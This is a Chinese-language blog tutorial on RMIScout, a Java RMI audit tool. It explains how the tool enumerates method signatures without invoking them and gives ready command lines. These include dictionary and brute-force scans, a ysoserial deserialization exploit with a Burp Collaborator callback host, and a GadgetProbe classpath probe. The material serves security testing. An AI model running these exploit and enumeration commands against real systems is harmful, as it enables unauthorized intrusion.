您好,登錄后才能下訂單哦!
這篇文章主要介紹“RMIScout怎么使用”,在日常操作中,相信很多人在RMIScout怎么使用問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”RMIScout怎么使用”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
RMIScout是一款針對Java RMI的安全審計工具,該工具可以使用字典和爆破策略來枚舉Java RMI功能,并利用其中潛在的RMI參數解集(Unmarshalling)漏洞。實際上,RMIScout能夠針對Java RMI接口執行基于字典的暴力破解攻擊,并在不需要調用任何其他方法的情況下安全地猜測方法簽名。
在一臺存在錯誤配置的服務器中,任何已知的RMI簽名都會使用non-primitive類型,比如說java.lang.String
,而在這種情況下,攻擊者將能夠可通過將對象轉換為序列化的Payload來利用此漏洞。這種錯誤配置非常常見,比如說,VMWare vSphere Data Protection + vRealize Operations Manager、Pivotal tc Server and Gemfire和Apache Karaf + Cassandra等等。
RMIScout整合ysoserial和GadgetProbe將可以針對錯誤配置進程范圍序列化篩選器(JEP 290)的服務執行反序列化攻擊。
1、提供字典和基于文本的爆破策略,而不是對64位方法哈希進行爆破;
2、在無需任何方法調用的情況下識別RMI方法;
3、提供了一種簡單的方法來利用已知的不安全RMI參數解集漏洞,并與ysoserial或Payload實現
ysoserial.payloads.ObjectPayload
集成;4、集成GadgetProbe來識別遠程類,以幫助識別相關軟件并構建gadget鏈;
如需開始搜索,可參考工具自帶的
lists/prototypes.txt
字典文件,該字典文件涵蓋了超過15000種RMI原型。
可在無需執行RMI函數的情況下對RMI方法進行識別,RMIScout使用了底層RMI網絡功能和動態類生成方法來發送帶有故意不匹配類型的RMI調用,以觸發遠程異常。所有參數都將替換為動態生成的可序列化類,該類的名稱假定為255個字符,并且在遠程類路徑中不存在。比如說:
void login(String user, String password)
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
如果目標類存在,那么將會觸發一個由ClassNotFoundException
發出的遠程java.rmi.UnmarshalException
異常或參數解集錯誤,整個過程無需調用底層方法。
完整技術手冊:【點我獲取】
廣大研究人員可以使用下列命令將項目源碼克隆至本地:
git clone https://github.com/BishopFox/rmiscout.git
針對遠程RMI服務,使用函數原型字典執行基于字典的爆破攻擊:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
使用方法字典和其他選項執行爆破攻擊:
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
根據特定的ysoserial Payload以及Payload參數來轉換對象派生類型:
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
使用GadgetProbe和已知簽名對遠程類路徑執行爆破:
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
使用包含的rmiscout.sh自動化對項目代碼進行構建,其封裝了java -jar
語句:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
或者,你也可以手動構建項目源碼,即使用傳統的java -jar
語句:
# Manually build JAR ./gradlew shadowJar java -jar build/libs/rmiscout-1.01-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
運行RMI演示服務器,并使用demo/wordlist.txt
字典文件:
cd demo ./start.sh
到此,關于“RMIScout怎么使用”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。